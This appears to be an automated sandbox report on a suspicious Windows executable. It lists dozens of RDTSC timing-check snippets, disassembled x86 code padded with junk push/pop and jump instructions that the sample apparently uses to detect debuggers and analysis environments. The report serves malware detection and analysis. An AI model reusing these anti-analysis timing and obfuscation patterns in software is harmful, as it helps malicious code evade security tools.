Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F28893 second address: F288B7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007F9F38C15406h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F288B7 second address: F288BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F288BD second address: F288CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9F38C153F6h 0x0000000a jne 00007F9F38C153F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F288CD second address: F288D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F28B85 second address: F28B9E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9F38C15404h 0x00000008 jmp 00007F9F38C153FEh 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F28B9E second address: F28BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C02239h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007F9F38C0222Ch 0x00000015 js 00007F9F38C02226h 0x0000001b pushad 0x0000001c pushad 0x0000001d popad 0x0000001e ja 00007F9F38C02226h 0x00000024 ja 00007F9F38C02226h 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F9F38C02231h 0x00000032 pushad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F28BF2 second address: F28BFC instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9F38C153F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F28EFD second address: F28F22 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 jmp 00007F9F38C02232h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jbe 00007F9F38C02249h 0x00000013 push esi 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F29807 second address: F2982F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F9F38C153F6h 0x00000009 jnc 00007F9F38C153F6h 0x0000000f jmp 00007F9F38C15405h 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F29B6B second address: F29B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F29B6F second address: F29BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C15406h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9F38C15404h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F2DE7C second address: F2DE86 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9F38C02226h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F2DE86 second address: F2DE8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F2D881 second address: F2D894 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007F9F38C02226h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F2D894 second address: F2D898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F2D898 second address: F2D8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F9F38C02226h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F2D8A6 second address: F2D8BE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9F38C153FDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F2DB60 second address: F2DBB2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jo 00007F9F38C02226h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F9F38C02239h 0x00000011 jno 00007F9F38C02228h 0x00000017 jc 00007F9F38C0222Ah 0x0000001d pushad 0x0000001e popad 0x0000001f push ecx 0x00000020 pop ecx 0x00000021 popad 0x00000022 push ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 jp 00007F9F38C02226h 0x0000002b jmp 00007F9F38C02231h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F32A44 second address: F32A4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F32A4A second address: F32A4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F32A4E second address: F32A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F341A2 second address: F341B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F341B7 second address: F341BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F3E9B1 second address: F3E9B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F3F0E3 second address: F3F0E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F3F0E9 second address: F3F0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F3F0ED second address: F3F0F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F3F0F3 second address: F3F0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F3F0FE second address: F3F103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F3F103 second address: F3F119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F9F38C02226h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F449BC second address: F449D0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9F38C153F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F9F38C153FEh 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F449D0 second address: F449E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F9F38C0222Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F449E3 second address: F44A27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15408h 0x00000007 jmp 00007F9F38C15403h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9F38C153FEh 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F44A27 second address: F44A42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02237h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F467D0 second address: F467D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F467D9 second address: F467E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C0222Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F467E8 second address: F467EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F54DB6 second address: F54DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C0222Eh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F548BF second address: F548E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9F38C153FCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jmp 00007F9F38C15403h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F548E7 second address: F54917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jns 00007F9F38C02226h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F9F38C02238h 0x00000016 js 00007F9F38C02226h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F54917 second address: F5491D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F5491D second address: F54921 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F54A81 second address: F54A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9F38C153F6h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F54A90 second address: F54A9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9F38C02226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F58673 second address: F58677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F580C8 second address: F580E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02237h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F580E7 second address: F580F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9F38C153F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F58245 second address: F5824E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F66FD9 second address: F66FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F66FDF second address: F66FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jp 00007F9F38C02232h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F66FEE second address: F66FF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F6E81E second address: F6E822 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F73745 second address: F73749 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F7394B second address: F7394F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F7394F second address: F7396C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F9F38C15407h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F7396C second address: F73971 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F78318 second address: F7834C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9F38C15403h 0x0000000c jmp 00007F9F38C153FFh 0x00000011 popad 0x00000012 popad 0x00000013 push edx 0x00000014 jng 00007F9F38C153FCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F77F0A second address: F77F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F94B68 second address: F94B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F94B6E second address: F94B72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F94B72 second address: F94B99 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C15409h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F9F38C153FAh 0x0000000f push esi 0x00000010 pop esi 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F948B2 second address: F948C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jns 00007F9F38C02226h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F948C9 second address: F948E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F9F38C15409h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F948E9 second address: F948ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: F948ED second address: F948F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAAB2F second address: FAAB34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAAB34 second address: FAAB3E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9F38C153FEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAAB3E second address: FAAB4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAAB4E second address: FAAB52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAAB52 second address: FAAB66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F9F38C0222Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAAB66 second address: FAAB6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FA9C4A second address: FA9C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F9F38C0222Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FA9C5F second address: FA9C65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FA9C65 second address: FA9C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FA9C72 second address: FA9C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FA9C76 second address: FA9CB7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02235h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9F38C0222Eh 0x0000000e jmp 00007F9F38C02236h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FA9CB7 second address: FA9CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FA9CBD second address: FA9CC3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FA9E07 second address: FA9E0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAA49B second address: FAA49F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAA49F second address: FAA4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAA4A5 second address: FAA4D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a jnl 00007F9F38C02226h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 jmp 00007F9F38C02236h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAA4D2 second address: FAA4E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9F38C153FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAA4E3 second address: FAA505 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9F38C02236h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F9F38C02226h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAA775 second address: FAA779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAA779 second address: FAA783 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9F38C02226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAEEA6 second address: FAEEB0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9F38C153FCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAEEB0 second address: FAEF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 jmp 00007F9F38C0222Fh 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 popad 0x00000016 nop 0x00000017 mov dh, 07h 0x00000019 pushad 0x0000001a jmp 00007F9F38C0222Dh 0x0000001f jmp 00007F9F38C02238h 0x00000024 popad 0x00000025 push 00000004h 0x00000027 mov edx, dword ptr [ebp+124838F7h] 0x0000002d mov dx, C4C9h 0x00000031 push 3FE7A6C3h 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F9F38C02232h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FAEF21 second address: FAEF27 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FB2815 second address: FB2819 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: FB2819 second address: FB283F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F9F38C15404h 0x0000000c jng 00007F9F38C153F6h 0x00000012 popad 0x00000013 push esi 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NYMPo215Qd.exe	RDTSC instruction interceptor: First address: 550036F second address: 550038B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9F38C02238h 0x00000009 rdtsc
